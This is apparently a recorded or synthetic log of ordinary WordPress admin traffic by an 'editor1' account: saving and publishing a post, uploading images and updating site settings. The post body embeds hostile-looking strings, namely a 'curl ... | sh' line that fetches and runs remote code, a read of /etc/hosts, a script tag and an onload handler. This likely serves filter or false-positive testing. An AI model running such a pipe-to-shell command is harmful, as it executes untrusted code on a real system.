{"method": "POST", "target": "/wp-json/wp/v2/posts/13?_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 896", "X-WP-Nonce: b40ef802e6", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-HTTP-Method-Override: PUT", "Content-Type: application/json", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/post.php?post=13&action=edit", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203276"], "body": "{\"id\":13,\"slug\":\"bobs-first-post\",\"content\":\"<!-- wp:paragraph -->\\n<p>It's a post about the Union station and how to select a table from the catalog &amp; more. Visit <a href=\\\"https://example.com/a?b=1&c=2\\\">the page</a>.</p>\\n<!-- /wp:paragraph -->\\n\\n<!-- wp:code -->\\n<pre class=\\\"wp-block-code\\\"><code>curl -s https://example.org/install | sh\\nSELECT name FROM users WHERE id = 1;\\ncat /etc/hosts</code></pre>\\n<!-- /wp:code -->\\n\\n<!-- wp:html -->\\n<iframe src=\\\"https://example.org/embed\\\" onload=\\\"console.log('ok')\\\"></iframe>\\n<script>document.title = 'x';</script>\\n<!-- /wp:html -->\\n\\n<!-- wp:shortcode -->\\n[gallery ids=\\\"1,2\\\"]\\n<!-- /wp:shortcode -->\\n\\n<!-- wp:image {\\\"id\\\":5,\\\"sizeSlug\\\":\\\"large\\\"} -->\\n<figure class=\\\"wp-block-image size-large\\\"><img src=\\\"http://blog.example/wp-content/uploads/2026/11/a.png\\\" alt=\\\"\\\" class=\\\"wp-image-5\\\"/></figure>\\n<!-- /wp:image -->\"}"}
{"method": "GET", "target": "/wp-json/wp/v2/templates/lookup?slug=single-post-bobs-first-post-2&_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-WP-Nonce: b40ef802e6", "Referer: http://blog.example/wp-admin/post.php?post=13&action=edit", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203276"], "body": ""}
{"method": "POST", "target": "/wp-admin/admin-ajax.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 123", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: application/json, text/javascript, */*; q=0.01", "Content-Type: application/x-www-form-urlencoded; charset=UTF-8", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/post.php?post=13&action=edit", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203276"], "body": "data%5Bwp-refresh-post-lock%5D%5Bpost_id%5D=13&interval=10&_nonce=f06ef15ba2&action=heartbeat&screen_id=post&has_focus=true"}
{"method": "POST", "target": "/wp-cron.php?doing_wp_cron=1794203288.2769880294799804687500", "headers": ["Host: blog.example", "User-Agent: WordPress/7.1.4; http://blog.example", "Accept: */*", "Accept-Encoding: deflate, gzip, br, zstd", "Connection: close", "Content-Length: 0", "Content-Type: application/x-www-form-urlencoded"], "body": ""}
{"method": "POST", "target": "/wp-json/wp/v2/posts/13?_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 890", "X-WP-Nonce: b40ef802e6", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-HTTP-Method-Override: PUT", "Content-Type: application/json", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/post.php?post=13&action=edit", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203276"], "body": "{\"id\":13,\"status\":\"publish\",\"content\":\"<!-- wp:paragraph -->\\n<p>It's a post about the Union station and how to select a table from the catalog &amp; more. Visit <a href=\\\"https://example.com/a?b=1&c=2\\\">the page</a>.</p>\\n<!-- /wp:paragraph -->\\n\\n<!-- wp:code -->\\n<pre class=\\\"wp-block-code\\\"><code>curl -s https://example.org/install | sh\\nSELECT name FROM users WHERE id = 1;\\ncat /etc/hosts</code></pre>\\n<!-- /wp:code -->\\n\\n<!-- wp:html -->\\n<iframe src=\\\"https://example.org/embed\\\" onload=\\\"console.log('ok')\\\"></iframe>\\n<script>document.title = 'x';</script>\\n<!-- /wp:html -->\\n\\n<!-- wp:shortcode -->\\n[gallery ids=\\\"1,2\\\"]\\n<!-- /wp:shortcode -->\\n\\n<!-- wp:image {\\\"id\\\":5,\\\"sizeSlug\\\":\\\"large\\\"} -->\\n<figure class=\\\"wp-block-image size-large\\\"><img src=\\\"http://blog.example/wp-content/uploads/2026/11/a.png\\\" alt=\\\"\\\" class=\\\"wp-image-5\\\"/></figure>\\n<!-- /wp:image -->\"}"}
{"method": "GET", "target": "/wp-admin/post.php?post=13&action=edit", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203276"], "body": ""}
{"method": "GET", "target": "/?p=13", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203292"], "body": ""}
{"method": "GET", "target": "/bobs-first-post-2/", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203292"], "body": ""}
{"method": "GET", "target": "/?p=13&preview=true", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203292"], "body": ""}
{"method": "GET", "target": "/wp-admin/revision.php?revision=14", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203292"], "body": ""}
{"method": "POST", "target": "/wp-admin/admin-ajax.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 58", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: */*", "Content-Type: application/x-www-form-urlencoded; charset=UTF-8", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/revision.php?revision=14", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203301"], "body": "compare%5B%5D=14%3A13&action=get-revision-diffs&post_id=13"}
{"method": "GET", "target": "/wp-json/wp/v2/comments?context=edit&post=15&type=note&status=all&per_page=100&_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-WP-Nonce: b40ef802e6", "Referer: http://blog.example/wp-admin/post-new.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203303"], "body": ""}
{"method": "GET", "target": "/wp-json/wp/v2/comments?context=edit&post=17&type=note&status=all&per_page=100&_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-WP-Nonce: b40ef802e6", "Referer: http://blog.example/wp-admin/post-new.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203308"], "body": ""}
{"method": "POST", "target": "/wp-json/wp/v2/media?_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 415", "X-WP-Nonce: b40ef802e6", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: application/json, */*;q=0.1", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryAaeabRwojB6M1Wog", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/post-new.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203308"], "body": "------WebKitFormBoundaryAaeabRwojB6M1Wog\r\nContent-Disposition: form-data; name=\"file\"; filename=\"holiday-photo.png\"\r\nContent-Type: image/png\r\n\r\nimage data\r\n------WebKitFormBoundaryAaeabRwojB6M1Wog\r\nContent-Disposition: form-data; name=\"title\"\r\n\r\nBob's picture\r\n------WebKitFormBoundaryAaeabRwojB6M1Wog\r\nContent-Disposition: form-data; name=\"alt_text\"\r\n\r\na small picture\r\n------WebKitFormBoundaryAaeabRwojB6M1Wog--\r\n"}
{"method": "POST", "target": "/wp-json/wp/v2/media/18?_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 53", "X-WP-Nonce: b40ef802e6", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: application/json, */*;q=0.1", "Content-Type: application/json", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/post-new.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203308"], "body": "{\"caption\":\"A caption\",\"description\":\"A description\"}"}
{"method": "POST", "target": "/wp-json/wp/v2/media?_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 409", "X-WP-Nonce: b40ef802e6", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: application/json, */*;q=0.1", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryZ3NQqb5rHLeqDitl", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/post-new.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203308"], "body": "------WebKitFormBoundaryZ3NQqb5rHLeqDitl\r\nContent-Disposition: form-data; name=\"file\"; filename=\"bin-day.png\"\r\nContent-Type: image/png\r\n\r\nimage data\r\n------WebKitFormBoundaryZ3NQqb5rHLeqDitl\r\nContent-Disposition: form-data; name=\"title\"\r\n\r\nBob's picture\r\n------WebKitFormBoundaryZ3NQqb5rHLeqDitl\r\nContent-Disposition: form-data; name=\"alt_text\"\r\n\r\na small picture\r\n------WebKitFormBoundaryZ3NQqb5rHLeqDitl--\r\n"}
{"method": "POST", "target": "/wp-json/wp/v2/media/19?_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 53", "X-WP-Nonce: b40ef802e6", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: application/json, */*;q=0.1", "Content-Type: application/json", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/post-new.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203308"], "body": "{\"caption\":\"A caption\",\"description\":\"A description\"}"}
{"method": "POST", "target": "/wp-json/wp/v2/media?_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 417", "X-WP-Nonce: b40ef802e6", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: application/json, */*;q=0.1", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryPj3tR1NjEw5stIqA", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/post-new.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203308"], "body": "------WebKitFormBoundaryPj3tR1NjEw5stIqA\r\nContent-Disposition: form-data; name=\"file\"; filename=\"my passwd reset.png\"\r\nContent-Type: image/png\r\n\r\nimage data\r\n------WebKitFormBoundaryPj3tR1NjEw5stIqA\r\nContent-Disposition: form-data; name=\"title\"\r\n\r\nBob's picture\r\n------WebKitFormBoundaryPj3tR1NjEw5stIqA\r\nContent-Disposition: form-data; name=\"alt_text\"\r\n\r\na small picture\r\n------WebKitFormBoundaryPj3tR1NjEw5stIqA--\r\n"}
{"method": "POST", "target": "/wp-json/wp/v2/media/20?_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 53", "X-WP-Nonce: b40ef802e6", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: application/json, */*;q=0.1", "Content-Type: application/json", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/post-new.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203308"], "body": "{\"caption\":\"A caption\",\"description\":\"A description\"}"}
{"method": "GET", "target": "/wp-admin/media-new.php?browser-uploader", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203308"], "body": ""}
{"method": "POST", "target": "/wp-admin/async-upload.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 778", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryFjx3GBevQOAuXrl5", "Accept: */*", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/media-new.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203310"], "body": "------WebKitFormBoundaryFjx3GBevQOAuXrl5\r\nContent-Disposition: form-data; name=\"name\"\r\n\r\nscan-01.png\r\n------WebKitFormBoundaryFjx3GBevQOAuXrl5\r\nContent-Disposition: form-data; name=\"post_id\"\r\n\r\n0\r\n------WebKitFormBoundaryFjx3GBevQOAuXrl5\r\nContent-Disposition: form-data; name=\"_wpnonce\"\r\n\r\n87ab0e0dbf\r\n------WebKitFormBoundaryFjx3GBevQOAuXrl5\r\nContent-Disposition: form-data; name=\"type\"\r\n\r\n\r\n------WebKitFormBoundaryFjx3GBevQOAuXrl5\r\nContent-Disposition: form-data; name=\"tab\"\r\n\r\n\r\n------WebKitFormBoundaryFjx3GBevQOAuXrl5\r\nContent-Disposition: form-data; name=\"short\"\r\n\r\n1\r\n------WebKitFormBoundaryFjx3GBevQOAuXrl5\r\nContent-Disposition: form-data; name=\"async-upload\"; filename=\"scan-01.png\"\r\nContent-Type: image/png\r\n\r\nimage data\r\n------WebKitFormBoundaryFjx3GBevQOAuXrl5--\r\n"}
{"method": "POST", "target": "/wp-admin/async-upload.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 24", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html, */*; q=0.01", "Content-Type: application/x-www-form-urlencoded; charset=UTF-8", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/media-new.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203310"], "body": "attachment_id=21&fetch=3"}
{"method": "GET", "target": "/wp-content/uploads/2026/11/scan-01.png", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://blog.example/wp-admin/media-new.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203310"], "body": ""}
{"method": "GET", "target": "/wp-content/uploads/2026/11/holiday-photo.png", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://blog.example/wp-admin/upload.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203317"], "body": ""}
{"method": "GET", "target": "/wp-admin/upload.php?item=6", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203317"], "body": ""}
{"method": "POST", "target": "/wp-admin/options.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 472", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Origin: http://blog.example", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/options-general.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203324"], "body": "option_page=general&action=update&_wpnonce=d9d12950f3&_wp_http_referer=%2Fwp-admin%2Foptions-general.php&blogname=Example+Blog&blogdescription=Bob%27s+words+%26+thoughts&site_icon=0&siteurl=http%3A%2F%2Fblog.example&home=http%3A%2F%2Fblog.example&new_admin_email=editor1%40example.com&default_role=subscriber&WPLANG=&timezone_string=UTC%2B0&date_format=F+j%2C+Y&date_format_custom=F+j%2C+Y&time_format=g%3Ai+a&time_format_custom=g%3Ai+a&start_of_week=1&submit=Save+Changes"}
{"method": "GET", "target": "/wp-admin/options-general.php?settings-updated=true", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/options-general.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203324"], "body": ""}
